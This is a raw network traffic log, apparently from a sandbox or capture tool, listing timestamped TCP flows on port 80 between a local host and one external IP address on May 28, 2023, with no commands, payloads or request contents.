May 28, 2023 10:42:43.888917923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888961077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888964891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889013052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889058113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889060020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889106035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889149904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889153957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889203072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889246941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889255047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889293909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889343023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889357090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889390945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889436960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889441967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889483929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889530897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889539003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889579058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889631033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889633894 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889678001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889724016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889729023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889770031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889816999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889822960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889863968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889910936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.889913082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.889959097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890006065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890008926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890053034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890099049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890101910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890145063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890192986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890196085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890239000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890285969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890292883 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890337944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890384912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890391111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890431881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890477896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890484095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890523911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890568972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890577078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890615940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890662909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890666008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890711069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890755892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890763998 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890803099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890847921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890856981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890893936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890940905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.890945911 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.890989065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891036034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891038895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891083956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891130924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891132116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891177893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891226053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891238928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891272068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891311884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891321898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891367912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891415119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891422033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891463041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891508102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891514063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891554117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891599894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891608953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891645908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891691923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891696930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891737938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891783953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891804934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891832113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891875982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891876936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891926050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.891971111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.891973019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.892018080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.892061949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.892064095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.892373085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.916950941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917027950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917114019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917160988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917188883 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.917207956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917253971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917267084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.917304039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917352915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.917354107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917403936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917453051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917454004 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.917587042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.917645931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.917674065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918224096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918272018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918283939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918360949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918405056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918409109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918490887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918536901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918541908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918582916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918628931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918642998 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918675900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918724060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918735027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918770075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918816090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918822050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918862104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918910027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.918914080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.918956041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919004917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919007063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919051886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919097900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919100046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919145107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919189930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919193029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919236898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919282913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919291019 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919333935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919379950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919389009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919426918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919472933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919476986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919518948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919564962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919569016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919612885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919658899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919662952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919704914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919749975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919765949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919796944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919845104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919852972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919889927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919936895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.919944048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.919981956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920027971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920030117 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920073986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920120001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920123100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920166969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920213938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920218945 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920259953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920336008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920337915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920382977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920428038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920474052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920479059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920521975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920535088 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920567989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920584917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920614958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920660019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920666933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920705080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920751095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920753002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920798063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920844078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920861006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920891047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920938015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.920941114 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.920984030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921030045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921035051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921075106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921118975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921120882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921166897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921211958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921212912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921257973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921302080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921307087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921350956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921396971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921403885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921442032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921488047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921488047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921535015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921581030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921582937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921629906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921677113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921679974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921724081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921768904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921777964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921814919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921859980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921864033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921905041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921951056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.921957970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.921998024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922043085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922049046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922087908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922135115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922135115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922180891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922225952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922226906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922277927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922326088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922333956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922372103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922415972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922416925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922463894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922507048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922509909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922558069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922604084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922606945 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922650099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922694921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922698021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922739983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.922781944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.922785044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.924357891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.942250967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942322969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942374945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942423105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942470074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942472935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.942473888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.942516088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942564011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942611933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.942662954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.942955017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.943002939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.943048954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.943052053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.943095922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.943140984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.947495937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947561026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947609901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947633982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.947658062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947704077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947705984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.947750092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947794914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947808027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.947840929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947886944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947890043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.947933912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947981119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.947985888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948029041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948076963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948122025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948128939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948169947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948214054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948215961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948287964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948345900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948347092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948395014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948400021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948441029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948460102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948556900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948601007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948652029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948719025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948797941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948844910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.948848009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.948959112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949003935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949012041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949049950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949094057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949107885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949141026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949186087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949193001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949230909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949276924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949281931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949326038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949373007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949379921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949419022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949461937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949462891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949507952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949553967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949598074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949645042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949646950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949688911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949733019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949738979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949778080 CEST	80	49704	45.9.74.80	192.168.2.3
